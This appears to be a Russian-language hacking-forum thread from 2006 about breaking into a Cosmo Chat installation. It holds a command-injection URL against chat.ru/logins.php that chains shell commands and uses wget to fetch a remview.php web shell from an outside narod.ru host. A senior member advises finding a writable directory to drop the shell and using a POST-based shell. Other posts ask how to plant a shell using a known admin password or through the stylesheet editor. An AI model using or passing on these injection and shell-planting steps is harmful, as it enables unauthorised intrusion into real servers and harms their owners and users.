22.12.2006, 15:55
|
|
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
С нами:
10293035
Репутация:
36
|
|
remview, cosmo chat
У меня такой вопрос, вот я нашол космо чат, залил на народ remview и вот что вышло
Код:
http://chat.ru/logins.php?c=pwd;od%20source;wget%20http://блаблабла.narod.ru/remview.php;%20ls%20-l
но когда я это применяю то неф не выходит, в чом же проблема? |
|
|
22.12.2006, 16:50
|
|
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
С нами:
10293035
Репутация:
36
|
|
ну или вот например я знаю пас админа как можна туда шел или ремвиев закинуть?
|
|
|
|
22.12.2006, 17:42
|
|
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
С нами:
10293035
Репутация:
36
|
|
сидя над космо чатом в локале я подумал, что если там можно менять таблицу стилей из админки, то нельзя ли каким нить кодом подгружать фаил с ругого места, ну например, я на народ кину шел, а в таблице с стилями поменяю типа, даунлоад
http://blablabla.narod.ru/remwiev.php
так вот вопросег как его можно так подгрузить.
ну или другие методы, я видео пересмотрел, у меня так как на видео неф не виходит...
|
|
|
|
22.12.2006, 19:49
|
|
Крёстный отец :)
Регистрация: 22.06.2005
Сообщений: 1,330
С нами:
10991846
Репутация:
2054
|
|
если ты можеш выполнять команды:
http://chat.ru/logins.php?c=pwd;od%20source;wget%20http://блаблабла.narod.ru/remview.php;%20ls%20-l
вот тебе и шелл...
ищи для записи доступную диру и в неё заливай шелл..
но лучше неиспользуй ремвиев, т.к. используются GET запросы... лучше юзай шелл заточеный под POST 
__________________
Лучший способ защиты - это нападение!!!
|
|
|
|
22.12.2006, 20:03
|
|
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
С нами:
10293035
Репутация:
36
|
|
Сообщение от tanzwut
если ты можеш выполнять команды:
вот тебе и шелл...
ищи для записи доступную диру и в неё заливай шелл..
но лучше неиспользуй ремвиев, т.к. используются Get запросы... лучше юзай шелл заточеный под Post яж говорю, что немогу выполнить эти команды, и вопрос, почему?в чем ошибка?
|
|
|
|
22.12.2006, 20:28
|
|
Members of Antichat - Level 5
Регистрация: 24.11.2006
Сообщений: 927
С нами:
10243046
Репутация:
3033
|
|
А с чего ты взял, что инклуд, вообще возможен??
З.Ы Там кнопочка такая есть: Edit)
__________________
Дети индиго - это бездари, не надо песен! В пять лет едва говорить начинают, мы в этом возрасте стихи наизусть читали!
з.ы http://www.youtube.com/watch?v=sNsQe0KByRY Я ПлакалЪ
Последний раз редактировалось Constantine; 22.12.2006 в 20:30..
|
|
|
|
22.12.2006, 20:30
|
|
Участник форума
Регистрация: 20.10.2006
Сообщений: 211
С нами:
10293035
Репутация:
36
|
|
Сообщение от Constantine
А с чего ты взял, что инклуд, вообще возможен??
З.Ы Там кнопочка такая есть: Edit)
ну ладно рас подгрузить его нельзя, то почему команда не выполняеться? И про какую кнопочку ты говоришь?
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Комбинированный вид
